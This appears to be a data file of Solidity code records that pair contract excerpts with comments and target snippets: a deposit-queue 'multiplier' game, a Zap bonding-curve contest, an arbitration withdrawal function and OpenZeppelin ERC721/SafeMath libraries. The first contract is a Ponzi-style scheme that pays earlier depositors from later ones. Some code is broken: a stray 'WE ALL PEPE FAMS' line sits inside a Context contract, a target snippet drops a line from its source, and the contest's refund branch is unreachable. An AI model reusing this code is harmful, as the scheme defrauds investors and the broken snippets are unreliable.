jackpot.lastMember = member;
jackpot.time = now;
}
// update variables in storage
deposits.push( Deposit(member, amount * calcMultiplier() / 100) );
totalInvested += amount;
jackpot.amount += amount * JACKPOT_PERCENTAGE / 10000;
// send fee
send(PROMOTION_FUND, amount * PROMOTION_PERCENTAGE / 10000);
send(SUPPORT_FUND, amount * PAYROLL_PERCENTAGE / 10000);
// send payouts
payouts();
}
// This function sends amounts to players who are in the current queue
// Returns true if all available ETH is sent
function payouts() internal returns(bool complete) {
uint balance = address(this).balance;
// impossible but better to check
balance = balance >= jackpot.amount ? balance - jackpot.amount : 0;
uint countPayouts;
for (uint i = currentIndex; i < deposits.length; i++) {
Deposit storage deposit = deposits[currentIndex];
if (balance >= deposit.amount) {
send(deposit.member, deposit.amount);
balance -= deposit.amount;
delete deposits[currentIndex];
currentIndex++;
countPayouts++;
// Maximum of one request can send no more than 15 payments
// This was done so that players could not spend too much gas in 1 transaction
if (countPayouts >= 15) {
break;
}
} else {
send(deposit.member, balance);
deposit.amount -= balance;
complete = true;
break;
}
}
}
// This function safely sends the ETH by the passed parameters
function send(address _receiver, uint _amount) internal {
if (_amount > 0 && address(_receiver) != 0) {
_receiver.send(_amount);
}
}
// This function makes the game restart on a specific date when it is stopped or in waiting mode
// (Available only to managers)
function restart(uint _time) public {
require(MANAGER == msg.sender || RESERVE_MANAGER == msg.sender);
require(!isRunning());
require(_time >= now + 10 minutes);
currentIndex = deposits.length; // skip investors from old queue
startTime = _time; // set the time to start the project
totalInvested = 0;
delete jackpot;
}
// Returns true if the game is in stopped mode
function isStopped() public view returns(bool) {
return startTime == 0;
}
// Returns true if the game is in waiting mode
function isWaiting() public view returns(bool) {
return startTime > now;
}
// Returns true if the game is in running mode
function isRunning() public view returns(bool) {
return !isWaiting() && !isStopped();
}
// How many percent for your deposit to be multiplied at now
function calcMultiplier() public view returns (uint) {
if (totalInvested <= 75 ether) return 120;
if (totalInvested <= 200 ether) return 130;
if (totalInvested <= 350 ether) return 135;
return 140; // max value
}
// This function returns all active player deposits in the current queue
function depositsOfMember(address _member) public view returns(uint[] amounts, uint[] places) {
uint count;
for (uint i = currentIndex; i < deposits.length; i++) {
if (deposits[i].member == _member) {
count++;
}
}
amounts = new uint[](count);
places = new uint[](count);
uint id;
for (i = currentIndex; i < deposits.length; i++) {
if (deposits[i].member == _member) {
amounts[id] = deposits[i].amount;
places[id] = i - currentIndex + 1;
id++;
}
}
}
// This function returns detailed information about the current game
function stats() public view returns(
string status,
uint timestamp,
uint timeStart,
uint timeJackpot,
uint queueLength,
uint invested,
uint multiplier,
uint jackpotAmount,
address jackpotMember
) {
if (isStopped()) {
status = "stopped";
} else if (isWaiting()) {
status = "waiting";
} else {
status = "running";
}
if (isWaiting()) {
timeStart = startTime - now;
}
if (now - jackpot.time < JACKPOT_DURATION) {
timeJackpot = JACKPOT_DURATION - (now - jackpot.time);
}
timestamp = now;
queueLength = deposits.length - currentIndex;
invested = totalInvested;
jackpotAmount = jackpot.amount;
jackpotMember = jackpot.lastMember;
multiplier = calcMultiplier();
}
}
|
This function makes the game restart on a specific date when it is stopped or in waiting mode (Available only to managers)
|
function restart(uint _time) public {
require(MANAGER == msg.sender || RESERVE_MANAGER == msg.sender);
require(!isRunning());
require(_time >= now + 10 minutes);
totalInvested = 0;
delete jackpot;
}
| 12,980,970
|
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// File: contracts/lib/ownership/Ownable.sol
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
/// @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
constructor() public { owner = msg.sender; }
/// @dev Throws if called by any contract other than latest designated caller
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/// @dev Allows the current owner to transfer control of the contract to a newOwner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/lib/token/FactoryTokenInterface.sol
pragma solidity ^0.4.24;
contract FactoryTokenInterface is Ownable {
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function mint(address _to, uint256 _amount) public returns (bool);
function burnFrom(address _from, uint256 _value) public;
}
// File: contracts/lib/token/TokenFactoryInterface.sol
pragma solidity ^0.4.24;
contract TokenFactoryInterface {
function create(string _name, string _symbol) public returns (FactoryTokenInterface);
}
// File: contracts/lib/ownership/ZapCoordinatorInterface.sol
pragma solidity ^0.4.24;
contract ZapCoordinatorInterface is Ownable {
function addImmutableContract(string contractName, address newAddress) external;
function updateContract(string contractName, address newAddress) external;
function getContractName(uint index) public view returns (string);
function getContract(string contractName) public view returns (address);
function updateAllDependencies() external;
}
// File: contracts/platform/bondage/BondageInterface.sol
pragma solidity ^0.4.24;
contract BondageInterface {
function bond(address, bytes32, uint256) external returns(uint256);
function unbond(address, bytes32, uint256) external returns (uint256);
function delegateBond(address, address, bytes32, uint256) external returns(uint256);
function escrowDots(address, address, bytes32, uint256) external returns (bool);
function releaseDots(address, address, bytes32, uint256) external returns (bool);
function returnDots(address, address, bytes32, uint256) external returns (bool success);
function calcZapForDots(address, bytes32, uint256) external view returns (uint256);
function currentCostOfDot(address, bytes32, uint256) public view returns (uint256);
function getDotsIssued(address, bytes32) public view returns (uint256);
function getBoundDots(address, address, bytes32) public view returns (uint256);
function getZapBound(address, bytes32) public view returns (uint256);
function dotLimit( address, bytes32) public view returns (uint256);
}
// File: contracts/platform/bondage/currentCost/CurrentCostInterface.sol
pragma solidity ^0.4.24;
contract CurrentCostInterface {
function _currentCostOfDot(address, bytes32, uint256) public view returns (uint256);
function _dotLimit(address, bytes32) public view returns (uint256);
function _costOfNDots(address, bytes32, uint256, uint256) public view returns (uint256);
}
// File: contracts/platform/registry/RegistryInterface.sol
pragma solidity ^0.4.24;
contract RegistryInterface {
function initiateProvider(uint256, bytes32) public returns (bool);
function initiateProviderCurve(bytes32, int256[], address) public returns (bool);
function setEndpointParams(bytes32, bytes32[]) public;
function getEndpointParams(address, bytes32) public view returns (bytes32[]);
function getProviderPublicKey(address) public view returns (uint256);
function getProviderTitle(address) public view returns (bytes32);
function setProviderParameter(bytes32, bytes) public;
function setProviderTitle(bytes32) public;
function clearEndpoint(bytes32) public;
function getProviderParameter(address, bytes32) public view returns (bytes);
function getAllProviderParams(address) public view returns (bytes32[]);
function getProviderCurveLength(address, bytes32) public view returns (uint256);
function getProviderCurve(address, bytes32) public view returns (int[]);
function isProviderInitiated(address) public view returns (bool);
function getAllOracles() external view returns (address[]);
function getProviderEndpoints(address) public view returns (bytes32[]);
function getEndpointBroker(address, bytes32) public view returns (address);
}
// File: contracts/lib/platform/SampleContest.sol
/*
Contest where users can bond to contestant curves which mint tokens( unbondabe*),
winner decided by oracle
contract unbonds from loser curves
holders of winning token allowed to take share of reserve token(zap) which was unbonded from loser curves
Starting Contest:
deploys with contest uninitialized: status = Uninitialized
anyone can initialize new token:backed curve
owner initializes contest with oracle: status = Initialized
Ending Contest:
owner calls close: status = ReadyToSettle
oracle calls judge to set winning curve: status = Judged
anyone calls settle, contest unbonds from losing curves: status = Settled
holders of winnning token call redeem to retrieve their share of reserve token
based on their holding of winning token
*holders of winning token can optionally unbond
*/
contract SampleContest is Ownable {
CurrentCostInterface currentCost;
FactoryTokenInterface public reserveToken;
ZapCoordinatorInterface public coord;
TokenFactoryInterface public tokenFactory;
BondageInterface bondage;
enum ContestStatus {
Uninitialized, //
Initialized, // ready for buys
// ReadyToSettle, // ready for judgement
Judged, // winner determined
Settled, // value of winning tokens determined
Canceled // oracle did not respond in time
}
address public oracle; // address of oracle who will choose the winner
uint256 public ttl; // time allowed before, close and judge. if time expired, allow unbond from all curves
// uint256 public expired = 2**256 -1; // time allowed before, close and judge. if time expired, allow unbond from all curves
bytes32 public winner; // curve identifier of the winner
uint256 public winValue; // final value of the winning token
ContestStatus public status; //state of contest
mapping(bytes32 => address) public curves; // map of endpoint specifier to token-backed dotaddress
bytes32[] public curves_list; // array of endpoint specifiers
mapping(address => uint8) public redeemed; // map of address redemption state
address[] public redeemed_list;
event DotTokenCreated(address tokenAddress);
event Bonded(bytes32 indexed endpoint, uint256 indexed numDots, address indexed sender);
event Unbonded(bytes32 indexed endpoint,uint256 indexed amount, address indexed sender);
event Initialized(address indexed oracle);
event Closed();
event Judged(bytes32 winner);
event Settled(uint256 winValue, uint256 winTokens);
event Reset();
constructor(
address coordinator,
address factory,
uint256 providerPubKey,
bytes32 providerTitle
){
coord = ZapCoordinatorInterface(coordinator);
reserveToken = FactoryTokenInterface(coord.getContract("ZAP_TOKEN"));
//always allow bondage to transfer from wallet
reserveToken.approve(coord.getContract("BONDAGE"), ~uint256(0));
tokenFactory = TokenFactoryInterface(factory);
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
registry.initiateProvider(providerPubKey, providerTitle);
status = ContestStatus.Uninitialized;
}
// contest lifecycle
function initializeContest(
address oracleAddress,
uint256 _ttl
) onlyOwner public {
require( status == ContestStatus.Uninitialized, "Contest already initialized");
oracle = oracleAddress;
ttl = _ttl + block.number;
status = ContestStatus.Initialized;
emit Initialized(oracle);
}
// function close() onlyOwner {
// status = ContestStatus.ReadyToSettle;
// expired = block.number + ttl;
// emit Closed();
// }
function judge(bytes32 endpoint) {
require( status == ContestStatus.Initialized, "Contest not initialized" );
require( msg.sender == oracle, "Only designated Oracle can judge");
require(block.number < ttl, "Contest expired, refund in process");
winner = endpoint;
status = ContestStatus.Judged;
emit Judged(winner);
}
function settle() public {
require( status == ContestStatus.Judged, "winner not determined");
bondage = BondageInterface(coord.getContract("BONDAGE"));
// how many winning dots
uint256 numWin = bondage.getDotsIssued(address(this), winner);
// redeemable value of each dot token
uint256 dots;
for( uint256 i = 0; i < curves_list.length; i++) {
if(curves_list[i]!=winner){
dots = bondage.getDotsIssued(address(this), curves_list[i]);
if( dots > 0) {
bondage.unbond(address(this), curves_list[i], dots);
}
}
}
winValue = reserveToken.balanceOf(address(this)) / numWin;
status = ContestStatus.Settled;
emit Settled(winValue, numWin);
}
//TODO ensure all has been redeemed or enough time has elasped
function reset() public {
require(msg.sender == oracle);
require(status == ContestStatus.Settled || status == ContestStatus.Canceled, "contest not settled");
if( status == ContestStatus.Canceled ) {
require(reserveToken.balanceOf(address(this)) == 0, "funds remain");
}
delete redeemed_list;
delete curves_list;
status = ContestStatus.Initialized;
emit Reset();
}
/// TokenDotFactory methods
function initializeCurve(
bytes32 endpoint,
bytes32 symbol,
int256[] curve
) public returns(address) {
// require(status==ContestStatus.Initialized,"Contest is not initalized")
require(curves[endpoint] == 0, "Curve endpoint already exists or used in the past. Please choose a new endpoint");
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
registry.initiateProviderCurve(endpoint, curve, address(this));
curves[endpoint] = newToken(bytes32ToString(endpoint), bytes32ToString(symbol));
curves_list.push(endpoint);
registry.setProviderParameter(endpoint, toBytes(curves[endpoint]));
DotTokenCreated(curves[endpoint]);
return curves[endpoint];
}
//whether this contract holds tokens or coming from msg.sender,etc
function bond(bytes32 endpoint, uint numDots) public {
require( status == ContestStatus.Initialized, " contest is not initiated");
bondage = BondageInterface(coord.getContract("BONDAGE"));
uint256 issued = bondage.getDotsIssued(address(this), endpoint);
CurrentCostInterface cost = CurrentCostInterface(coord.getContract("CURRENT_COST"));
uint256 numReserve = cost._costOfNDots(address(this), endpoint, issued + 1, numDots - 1);
require(
reserveToken.transferFrom(msg.sender, address(this), numReserve),
"insufficient accepted token numDots approved for transfer"
);
reserveToken.approve(address(bondage), numReserve);
bondage.bond(address(this), endpoint, numDots);
FactoryTokenInterface(curves[endpoint]).mint(msg.sender, numDots);
emit Bonded(endpoint, numDots, msg.sender);
}
//whether this contract holds tokens or coming from msg.sender,etc
function unbond(bytes32 endpoint, uint numDots) public returns(uint256) {
require(status == ContestStatus.Settled, "not ready");
bondage = BondageInterface(coord.getContract("BONDAGE"));
uint issued = bondage.getDotsIssued(address(this), endpoint);
//unbond dots
bondage.unbond(address(this), winner, numDots);
currentCost = CurrentCostInterface(coord.getContract("CURRENT_COST"));
//get reserve value to send
uint reserveCost = currentCost._costOfNDots(address(this), endpoint, issued + 1 - numDots, numDots - 1);
FactoryTokenInterface curveToken = FactoryTokenInterface(curves[endpoint]);
if( status == ContestStatus.Initialized || status == ContestStatus.Canceled) {
//oracle has taken too long to judge winner so unbonds will be allowed for all
require(block.number > ttl, "oracle query not expired.");
// require(status == ContestStatus.Settled, "contest not settled");
status = ContestStatus.Canceled;
//unbond dots
//TODO get bound dot then unbond the correct amount ? or unbond all in 1 call
// bondage.unbond(address(this), endpoint, numDots);
//burn dot backed token
//FIXME only burn the bound tokens ?
curveToken.burnFrom(msg.sender, numDots);
require(reserveToken.transfer(msg.sender, reserveCost), "transfer failed");
emit Unbonded(endpoint, reserveCost, msg.sender);
return reserveCost;
}
else {
require( status == ContestStatus.Settled, " contest not settled");
require(redeemed[msg.sender] == 0, "already redeeemed");
require(winner==endpoint, "only winners can unbond for rewards");
//reward user's winning tokens unbond value + share of losing curves reserve token proportional to winning token holdings
uint reward = ( winValue * FactoryTokenInterface(getTokenAddress(winner)).balanceOf(msg.sender) ) + reserveCost;
//burn user's unbonded tokens
// curveToken.approve(address(this),numDots);
curveToken.burnFrom(msg.sender, numDots);
reserveToken.transfer(msg.sender, reward);
redeemed[msg.sender] = 1;
// emit Unbonded(winner, reward, msg.sender);
return reward;
}
}
function newToken(
string name,
string symbol
)
internal
returns (address tokenAddress)
{
FactoryTokenInterface token = tokenFactory.create(name, symbol);
tokenAddress = address(token);
return tokenAddress;
}
function getTokenAddress(bytes32 endpoint) public view returns(address) {
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
return bytesToAddr(registry.getProviderParameter(address(this), endpoint));
}
function getEndpoints() public view returns(bytes32[]){
return curves_list;
}
function getStatus() public view returns(uint256){
return uint(status);
}
function isEndpointValid(bytes32 _endpoint) public view returns(bool){
for(uint256 i=0; i<curves_list.length;i++){
if(_endpoint == curves_list[i]){
return true;
}
}
return false;
}
// https://ethereum.stackexchange.com/questions/884/how-to-convert-an-address-to-bytes-in-solidity
function toBytes(address x) public pure returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
}
//https://ethereum.stackexchange.com/questions/2519/how-to-convert-a-bytes32-to-string
function bytes32ToString(bytes32 x) public pure returns (string) {
bytes memory bytesString = new bytes(32);
bytesString = abi.encodePacked(x);
return string(bytesString);
}
//https://ethereum.stackexchange.com/questions/15350/how-to-convert-an-bytes-to-address-in-solidity
function bytesToAddr (bytes b) public pure returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
}
|
time allowed before, close and judge. if time expired, allow unbond from all curves
|
uint256 public ttl;
| 2,486,197
|
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./partial_match/1/0xefbA8DAA3483b1F4a2C7E07bF10e2e57bbA552bd/sources/WLP.sol
|
* @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
|
abstract contract Context {
WE ALL PEPE FAMS
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
| 2,793,673
|
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./full_match/1/0x68c4cc21378301cfdd5702D66D58a036D7bAFE28/sources/src/RealitioForeignArbitrationProxyWithAppeals.sol
|
* @notice Returns the sum of withdrawable amount. @dev This function is O(n) where n is the total number of rounds. @dev This could exceed the gas limit, therefore this function should be used only as a utility and not be relied upon by other contracts. @param _arbitrationID The ID of the arbitration. @param _beneficiary The contributor for which to query. @param _contributedTo Answer that received contributions from contributor. @return sum The total amount available to withdraw./ Allow to reimburse if funding was unsuccessful for this answer option. Reimburse unspent fees proportionally if the ultimate winner didn't pay appeal fees fully. Note that if only one side is funded it will become a winner and this part of the condition won't be reached. Reward the winner.
|
function getTotalWithdrawableAmount(
uint256 _arbitrationID,
address payable _beneficiary,
uint256 _contributedTo
) external view override returns (uint256 sum) {
address requester = arbitrationIDToRequester[_arbitrationID];
ArbitrationRequest storage arbitration = arbitrationRequests[_arbitrationID][requester];
if (arbitration.status < Status.Ruled) return sum;
uint256 finalAnswer = arbitration.answer;
uint256 noOfRounds = arbitration.rounds.length;
for (uint256 roundNumber = 0; roundNumber < noOfRounds; roundNumber++) {
Round storage round = arbitration.rounds[roundNumber];
if (!round.hasPaid[_contributedTo]) {
sum += round.contributions[_beneficiary][_contributedTo];
sum += round.fundedAnswers.length > 1
? (round.contributions[_beneficiary][_contributedTo] * round.feeRewards) /
(round.paidFees[round.fundedAnswers[0]] + round.paidFees[round.fundedAnswers[1]])
: 0;
uint256 paidFees = round.paidFees[_contributedTo];
sum += paidFees > 0
? (round.contributions[_beneficiary][_contributedTo] * round.feeRewards) / paidFees
: 0;
}
}
}
| 8,333,673
|
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/**
*Submitted for verification at Etherscan.io on 2022-01-07
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-06
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
